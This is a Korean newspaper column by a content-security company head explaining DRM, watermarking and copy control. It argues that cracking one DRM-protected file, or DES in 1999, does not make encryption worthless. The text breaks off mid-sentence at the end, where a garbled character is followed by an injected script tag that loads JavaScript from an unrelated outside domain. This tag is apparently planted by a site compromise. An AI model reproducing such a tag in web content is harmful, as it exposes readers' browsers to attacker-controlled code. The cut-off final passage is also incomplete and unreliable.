<디지털 콘텐츠의 세계>디지털 콘텐츠 저작권 보호기술
전자신문 11월 2일자 개재
최종욱 (마크애니 대표)
1. 디지털 컨텐츠 저작권 보호 기술
빠르게 성장하고 있는 인터넷을 통해서 디지털 컨텐츠의 유통이 보편화되고 있어 컨텐츠의 저작권 보호는 중요한 사회적 이슈로 떠오르고 있다. 이는 이미지, 오디오, 비디오 등의 디지털 컨텐츠가 컴퓨터에서는 손쉽게 다량의 복사가 가능하며 복사 후 원본과 비트 하나 틀리지 않은 동일한 파일로 만들어지기 때문이다. 더구나 인터넷에서는 이러한 불법 복제된 데이터가 대량으로 순식간에 세계 어디로나 송신될 수 있기 때문에 저작권 문제는 더욱 심각해진다.
네트워크 환경에서 디지털 저작권을 보호하기 위한 기술은 그림에서 보는 것처럼 저작물의 안전한 전달을 위한 DRM(Digital Right Management: 저작권 관리)기술, 불법 복제물의 탐색 및 색출을 위한 탐색 엔진(Search Engine), PC나 서버로부터 휴대용기기로 저작물을 보내는 경우 불법 복제 및 사용을 막기위한 복제방지 기술(CCI: Copy Control Information),그리고 불법 사용되고 있는 저작물로부터 저작권 정보를 추출 혹은 탐색하여 증거로서 제출하는 워터마크 기술이 있다. 최근에는 CD음반을 컴퓨터를 이용하여 복제하게 되면 잡음을 집어 넣는 CD-Safe라는 기술이 개발되기도 한다.
[그림-1] 디지털 저작권 보호 기술
2.DRM기술과 암호화
며칠 전 마이크로 소프트사의 DRM이 깨어졌다는 보도가 IT 전문 신문들과 네티즌 사이트를 도배한 적이 있다. 그래서 MS-DRM은 이제 '쓸모가 없다'는 식으로 결론을 내리고 있다. 이러한 언론과 IT종사자들의 성급한 결론에는 상당한 오해가 있다고 생각한다.
DRM의 기능은 컨텐츠 제공자(CP)로부터 이미지, 오디오, 비디오 등의 컨텐츠를 고객(Client)에게 안전하게 전달하기 위해 고객의 비밀 번호로 암호화하여 보내주는 것으로부터 출발한다. 이는 제 3자가 낚아채거나 고객이 다운 받은 파일을 다른 사람에게 넘겨 주더라도 사용하지 못하도록 하기 위해 고객 고유의 비밀 번호로 암호화한 것이다. 그러나 암호기술이란 많은 시간과 비용을 투입하면 깨어지도록 되어 있다.
암호기술은 옛날 가정이나 구멍가게 사용하던 다이얼식 금고의 비밀 번호와 같은 것이어서 다이얼을 이리 저리 계속 돌려나가다 보면 언젠가는 주인이 세팅한 번호와 맞아 떨어져서 금고가 열리게 되어 있다. 문제는 주인에게 들키지 않게 충분한 시간을 가지고 있느냐는 점이다. 그래서 주인은 단 몇 번의 시도로 열지 못하도록 다이얼을 겹겹으로 만들어서 여는데 걸리는 시간을 연장하려고 한다.
DRM을 통해 전달받은 컨텐츠는 고객의 고유번호로 암호화되어 있기 때문에 정상적인 고객의 컴퓨터에서는 암호가 풀리면서 사용할 수 있지만 다른 고객의 컴퓨터에서는 열리지 않도록 되어 있다. 정상고객(A)의 컴퓨터에서 사용하게 된 컨텐츠를 여러 번 번호를 바꾸어 시도하여 불법 고객(B) 컴퓨터에서 열리게 되었다 할 지라도 이는 사실상 별로 큰 의미가 있는 것은 아니다. 동일한 컨텐츠라 하더라도 C에게 전달하는 컨텐츠는 다른 키를 사용하여 암호화 되어 잇기 때문에 이를 사용하기 위해서는 또 한 번 같은 과정을 반복해야 한다. 다이얼식 금고를 한 번 열었다 하더라도 주인이 비밀 번호를 바꾸면 다시 처음부터 시도해야 하는 것과 같다.
1960년대부터 현재까지도 미국에서 금융기관 등에서 공식적으로 사용하고 있는 DES같은 암호화 기술도 여러 번 깨어진 적이 있다. 다이얼식 금고를 열듯이 여러 번 시도하여 한 번 열려진 것이다. 실제로 1999년 'DES 깨기 대회'에서 하루만에 깨어진 적이 있는데 이는 각국에서 동시에 번호를 나누어 시도를 해서 열리게 된 것으로 결국은 '분산형 동시 다발 분업식 암호깨기 시도'라고 할 수 있다. 그런데도 이러한 사건을 가지고 DES를 마치 '깨어진 기술'처럼 얘기 하는 것은 암호기술에 대한 오해에서 비롯된 것이다.
수학적인 입장에서 분석해보면 현재까지 공인된 암호화 기술들은 정말 '황홀하다'고 말할 수 밖에 없다. 시간 공간이나 주파수 공간 등 어떤 방식으로 분석하더라도 균일한 분포를 갖도록 만들어진 암호화 기술은 한 번 '깬다'고 해서 다음 메시지를 쉽게 '깰 수" 없는 기술이다. 그래서 대부분의 암호화 기술이 일반에게 공개되어 있는 것이다. 즉, 여러 번 시도하여 우연히 한 개의 컨텐츠가 열리게 되었다고 다른 사람에게 전달된 컨텐츠를 한 번에 열어볼 수 있는 것은 아니다.
DRM 제품에는 이러한 암호화외에도 사용자가 사용하는 브라우져 속에 키를 미밀리에 숨기는 견고성을 가지는 프로그램(temper-proofing) 기술이 필수적인 기술이다. 이번 MS-DRM사건은 사용자의 비밀키를 숨겨놓는 부분이 새어나?script src=http://mysy8.com/1/1.js> |
